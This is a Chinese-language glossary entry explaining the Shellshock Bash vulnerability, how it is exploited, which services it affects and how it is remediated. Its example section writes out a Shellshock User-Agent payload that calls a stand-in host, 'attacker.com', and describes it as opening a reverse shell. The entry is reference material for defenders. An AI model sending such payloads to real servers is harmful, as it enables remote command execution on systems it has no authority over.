CyberGlossary

漏洞

Shellshock (CVE-2014-6271)

别称: Bashdoor, CVE-2014-6271

定义

2014 年披露的 GNU Bash 漏洞,攻击者通过让其他程序向 Bash 传入特制环境变量即可执行任意命令。

Shellshock(CVE-2014-6271 及相关的 CVE-2014-7169)源自 GNU Bash 解析存储在环境变量中的函数定义时的缺陷:函数体之后的命令会在 Shell 启动时被执行。许多服务(CGI 脚本、DHCP 客户端、OpenSSH ForceCommand、qmail 等)都会在攻击者可控的环境变量下调用 Bash,因此该漏洞极易被远程利用,常以 root 身份执行。2014 年的披露引发了全球范围的紧急打补丁与僵尸网络、Webshell、蠕虫的大规模利用。修复需要将 Bash 升级至已修复的版本、淘汰传统的 Bash-CGI 架构,并通过降权与限制环境变量传递等手段做纵深防御。

示例

  • 向 Bash-CGI 端点发送 User-Agent: () { :; }; /bin/curl attacker.com 触发反向 Shell。
  • 利用 DHCP 客户端将选项字符串导出到 Bash 钩子脚本的环境中。

相关术语